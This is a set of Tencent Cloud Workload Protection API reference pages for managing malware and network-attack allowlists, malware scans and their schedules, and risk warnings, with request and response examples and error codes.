The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMalwareWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Offset	No	Integer	Offset, which defaults to 0
Limit	No	Integer	Quantity of returns. The maximum value is 100.
Filters.N	No	Array of Filter	Filter criteria • HostIp - String - required: no - host IP query • FileName - String - required: no - file name query • FileDirectory - String - required: no - file directory query • FileExtension - String - required: no - file extension query • Mode - String - required: no - rule type: 0 MD5; 1 customize • Md5 - String - required: no - MD5 query

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Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]
By	No	String	Optional sorting columns: [EventsCount]

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records
WhiteList	Array of MalwareWhiteListInfo	List of allowlist
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Trojan Allowlist

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMalwareWhiteList
<Common request parameters>

{
"Limit": "10",
"Offset": "0"
}
```

Output Example

```
{
"Response": {
```

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```
"TotalCount": 1,
"WhiteList": [
{
"Id": 1,
"QuuidList": "6cf3c132-aaa-bbbb-b08d-98be9421372a",
"Md5List": "87f70257f93a96273664ea5ef842c2c3",
"IsGlobal": 1,
"Mode": 1,
"MatchType": 1,
"FileName": "/data/file1",
"FileDirectory": "/data",
"FileExtension": "php",
"CreateTime": "2020-10-01 00:01:02",
"EventsCount": 1
}
],
"RequestId": "d73d4495-1895-43a8-95be-f447b02e253d"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeNetAttackWhiteList

Last updated：2024-12-06 15:39:23

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the network attack allowlist list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeNetAttackWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of returns. The maximum value is 100.
Filters.N	No	Array of Filter	Filter criteria • IP - String - required: no - query by host IP • SrcIP- String - required: no - query by allowlisted IP
Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]

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By	No	String	Optional sorting column: [CreateTime]

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records
WhiteList	Array of NetAttackWhiteRule	Allowlist
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Network Attack Allowlist

This example shows you how to obtain the network attack allowlist.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeNetAttackWhiteList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "c0a212e9-c598-4a2b-889f-5bc305f2e39f",
"TotalCount": 1,
"WhiteList": [
{
"CreateTime": "2023-05-22 18:38:24",
```

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```
"DealOldEvents": 0,
"Description": "idesc",
"Id": 10001,
"ModifyTime": "2023-05-22 18:43:16",
"Quuids": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"Scope": 0,
"SrcIP": "1.2.3.4;1.1.1.2-1.1.1.4;1.2.3.0/24"
}
]
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeMalwareWhiteListAffectList

Last updated：2024-12-06 15:39:24

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of affected Trojan allowlists.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMalwareWhiteListAffectList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
WhiteListId	Yes	Integer	Allowlist rule ID
Offset	No	Integer	Offset, which defaults to 0
Limit	No	Integer	Quantity of returns. The maximum value is 100.
Filters.N	No	Array of Filter	Filter criteria • HostIp - String - required: no - host IP query • FileName - String - required: no - file name query • FileDirectory - String - required: no - file directory query • FileExtension - String - required: no - file extension query

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			• Mode - String - required: no - rule type: 0 MD5; 1 customize • Md5 - String - required: no - MD5 query
Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]
By	No	String	Optional sorting column: [CreateTime]

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records
AffectList	Array of MalwareWhiteListAffectEvent	List of events affected by allowlist rules Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Affected List of Trojan Allowlist

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMalwareWhiteListAffectList
<Common request parameters>

{
"WhiteListId": 1,
"Limit": "10",
"Offset": "0"
}
```

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Output Example


```
{
"Response": {
"TotalCount": 1,
"RequestId": "8564b09e-0e04-4516-bb59-db09742503c2",
"AffectList": [
{
"FilePath": "/data/file1",
"CreateTime": "2020-10-01 00:01:10",
"Md5": "87f70257f93a96273664ea5ef842c2c3",
"Id": 1,
"HostIp": "172.16.10.1"
}
]
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

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Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeleteMalwareWhiteList

Last updated：2024-12-06 15:39:31

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete the Trojan whitelist.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteMalwareWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	ID array, with the maximum value being 100.

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting the Trojan Allowlist

This example shows you how to delete the Trojan allowlist.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteMalwareWhiteList
<Common request parameters>

{
"Ids": [
"2",
"1"
]
}
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeleteNetAttackWhiteList

Last updated：2024-12-06 15:39:30

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete the network attack allowlist.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteNetAttackWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	ID array, with the maximum value being 100.

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Network Attack Allowlist

This example shows you how to delete the network attack allowlist.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteNetAttackWhiteList
<Common request parameters>

{
"Ids": [
1
]
}
```

Output Example

```
{
"Response": {
"RequestId": "786c67e5-bb5b-4ebf-aba8-1964c6651383"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeMalwareFile

Last updated：2024-12-06 15:39:27

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain Trojan file download addresses.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMalwareFile.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Trojan record ID

3. Output Parameters

Parameter Name	Type	Description
FileUrl	String	Trojan file download link

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Trojan File Download URL

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMalwareFile
<Common request parameters>

{
"Id": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "8564b09e-0e04-4516-bb59-db09742503c2",
"FileUrl": "http://127.0.0.1/file1"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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CreateScanMalwareSetting

Last updated：2024-12-06 15:39:32

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to detect the intrusion and virus scanning.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateScanMalwareSetting.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ScanPattern	Yes	Integer	Scan mode: 0 - full disk scan; 1 - rapid scan
HostType	Yes	Integer	Server classification: 1: Professional Edition servers; 2: self-selected servers
QuuidList.N	No	Array of String	Effective for selected servers; a string array of host QUUIDs
TimeoutPeriod	No	Integer	Timeout unit: seconds, which is 3,600 seconds by default.
EngineType	No	Integer	1 - standard mode (only critical and high-risk are reported.); 2

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			- enhanced mode (critical, high-risk, and medium-risk are reported.); 3 - strict mode (critical, high-risk, medium-risk, low-risk, and prompt are reported.)
EnableMemShellScan	No	Integer	Whether to enable malicious process killing [0: Not Enabled; 1: Enabled]

3. Output Parameters

Parameter Name	Type	Description
TaskId	Integer	Task ID Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 One-Click Detection

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CreateScanMalwareSetting
<Common request parameters>

{
"ScanPattern": "0",
"HostType": "1"
}
```

Output Example

```
{
"Response": {
"RequestId": "007863e7-fce9-49c2-9561-16bc2a522620",
```

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```
"TaskId": 1
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.APIServerFail	Failed to invoke the API service.
FailedOperation.NoProfessionHost	No Pro Edition host.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.

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InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.

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DeleteMalwareScanTask

Last updated：2024-12-06 15:39:31

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to terminate the scan tasks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteMalwareScanTask.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Terminating One-click Scan

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteMalwareScanTask
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "a9fe0359-04d9-417f-ab6d-4941891d6c4b"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Go
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Command Line Interface

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeScanMalwareSchedule

Last updated：2024-12-06 15:39:22

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the Trojan scan progress.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScanMalwareSchedule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Schedule	Integer	Scan progress (unit: %)
RiskFileNumber	Integer	Number of risk files, which is only available after the scan is completed.

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IsSchedule	Boolean	Whether scan in progress
ScanStatus	Integer	0 - never scanned; 1 - scan in progress; 2 - scan completed; 3 - stop in progress; 4 - stop completed
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the Scanning Progress

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScanMalwareSchedule
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"Schedule": 20,
"IsSchedule": true,
"RiskFileNumber": 4,
"ScanStatus": 1
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeMalwareRiskWarning

Last updated：2024-12-06 15:39:25

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to open Intrusion Detection - Virus Scanning, and the risk warning content pops up.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMalwareRiskWarning.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
IsCheckRisk	Boolean	Whether automatic scanning is enabled. True: enabled; false: disabled.
List	Array of	List of risky files

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	MalwareRisk	Note: This field may return null, indicating that no valid values can be obtained.
IsPop	Boolean	Whether to show the prompt. True: show prompt; false: do not show prompt.
ProcessList	Array of MalwareRisk	Information on Abnormal Process List Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Risk Alarm Prompts

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMalwareRiskWarning
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "b4472a50-bd0b-45d0-8568-6b56d8fc8585",
"IsCheckRisk": true,
"IsPop": true,
"List": [
{
"MachineIp": "1.1.1.1",
"VirusName": "Description",
"CreateTime": "2020/05/20 00:00:00",
"Id": "1121"
}
],
"ProcessList": [
{
```

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```
"VirusName": "xx",
"MachineIp": "xx",
"CreateTime": "xx",
"Id": 1
}
]
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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ModifyMalwareTimingScanSettings

Last updated：2024-12-06 15:39:17

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to set scheduled scan.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyMalwareTimingScanSettings.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
CheckPattern	Yes	Integer	Detection mode. 0: full disk detection; 1: rapid detection
StartTime	Yes	String	Detection interval start time, such as 02:00:00
EndTime	Yes	String	Detection interval timeout end time, such as 04:00:00
IsGlobal	Yes	Integer	Whether all servers. 1: all; 2: specified
EnableScan	Yes	Integer	Regular detection switch. 0: off; 1: on
MonitoringPattern	Yes	Integer	Monitoring mode. 0: standard; 1: deep
Cycle	Yes	Integer	Scan interval: defaults to 1 per day

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RealTimeMonitoring	Yes	Integer	Real-time monitoring. 0: off; 1: on
QuuidList.N	No	Array of String	Required for specified servers, a string array of host QUUIDs
AutoIsolation	No	Integer	Whether to apply automatic isolation. 1: yes; 0: no
KillProcess	No	Integer	Whether to terminate the process. 1: terminate; 0: not terminate
DoClean	No	Integer	1: clean up; 0: not clean up • This operation will fix tampered system commands, scheduled tasks, and other system files. Please ensure that yum/apt is available during the operation.
EngineType	No	Integer	1: standard mode (only critical and high-risk are reported.); 2: enhanced mode (critical, high-risk, and medium-risk are reported.); 3: strict mode (critical, high-risk, medium-risk, low-risk, and prompt are reported.)
EnableInspiredEngine	No	Integer	Heuristic Engine Switch: 0 OFF, 1 ON.
EnableMemShellScan	No	Integer	Whether to enable malicious process killing [0: Not Enabled; 1: Enabled]
ProtectMode	No	Integer	Protection mode: 0: standard; 1: important period guarantee
ProtectFileScope	No	Integer	Scope of detection: 0: malicious files other than scripts; 1: all malicious files

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

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Example1 Timing Scan Settings

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyMalwareTimingScanSettings
<Common request parameters>

{
"EnableScan": "1",
"CheckPattern": "0",
"IsGlobal": "1",
"MonitoringPattern": "0",
"StartTime": "02:00:00",
"RealTimeMonitoring": "1",
"EndTime": "04:00:00",
"Cycle": "1"
}
```

Output Example

```
{
"Response": {
"RequestId": "007863e7-fce9-49c2-9561-16bc2a522620"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeMalwareTimingScanSetting

Last updated：2024-12-06 15:39:25

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the scheduled scan configuration.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMalwareTimingScanSetting.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
CheckPattern	Integer	Detection mode: 0 - full disk detection; 1 - rapid detection
StartTime	String	Detection cycle; start time

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EndTime	String	Detection cycle; timeout end time
IsGlobal	Integer	Whether all servers: 1 - all; 2 - specified
QuuidList	Array of String	When you select servers, host quuid is required. Note: This field may return null, indicating that no valid values can be obtained.
MonitoringPattern	Integer	Monitoring mode: 0 - standard; 1 - deep
Cycle	Integer	Cycle: 1 - daily
EnableScan	Integer	Scheduled detection switch: 0 - disable; 1 - enable
Id	Integer	Unique ID
RealTimeMonitoring	Integer	Real-time monitoring: 0 - disable 1 - enable
AutoIsolation	Integer	Whether to isolate automatically: 1 - yes; 0 - no
ClickTimeout	Integer	One-click scan timeout duration, such as 1800 seconds
KillProcess	Integer	Whether to terminate the process: 1: terminate; 0: not terminate. It is effective only if automatic isolation is enabled.
EngineType	Integer	1 - standard mode (only critical and high-risk are reported.); 2 - enhanced mode (critical, high-risk, and medium-risk are reported.); 3 - strict mode (critical, high-risk, medium-risk, low-risk, and prompt are reported.)
EnableInspiredEngine	Integer	Heuristic Engine: 0 - OFF, 1 - ON
EnableMemShellScan	Integer	Whether to enable malicious process killing [0: Not Enabled; 1: Enabled]
ProtectMode	Integer	Protection mode: 0 - standard; 1 - enhanced
ProtectFileScope	Integer	Scope of detection: 0 - malicious files other than scripts; 1 - all malicious files
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Scheduled Scan Configurations

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Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMalwareTimingScanSetting
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"RequestId": "1e96ed81-a2f2-4029-893b-b63ed1328694",
"CheckPattern": 1,
"StartTime": "2020-05-20 00:00:00",
"EndTime": "2020-05-20 00:00:00",
"IsGlobal": 1,
"QuuidList": [
"972290ce-2e07-4689-8f92-f617239bbf82"
],
"RealTimeMonitoring": 1,
"MonitoringPattern": 0,
"Cycle": 1,
"EnableScan": 1,
"Id": 0,
"AutoIsolation": 1,
"KillProcess": 1,
"ClickTimeout": 0,
"EngineType": 1,
"EnableInspiredEngine": 1,
"EnableMemShellScan": 1,
"ProtectMode": 0,
"ProtectFileScope": 0
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeServersAndRiskAndFirstInfo

Last updated：2024-12-06 15:39:22

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the number of risky files pending to be processed + the number of affected servers + whether to try to detect + last detection time.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeServersAndRiskAndFirstInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
RiskFileCount	Integer	Number of risky files
AddRiskFileCount	Integer	New risky files today

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ServersCount	Integer	Number of affected servers
IsFirstCheck	Boolean	Whether it is in trial. true: yes; false: no.
ScanTime	String	Last Trojan detection time
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Number of Pending Risky Files and Affected Servers

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeServersAndRiskAndFirstInfo
&<Common request parameters>
```

Output Example

```
{
"Response": {
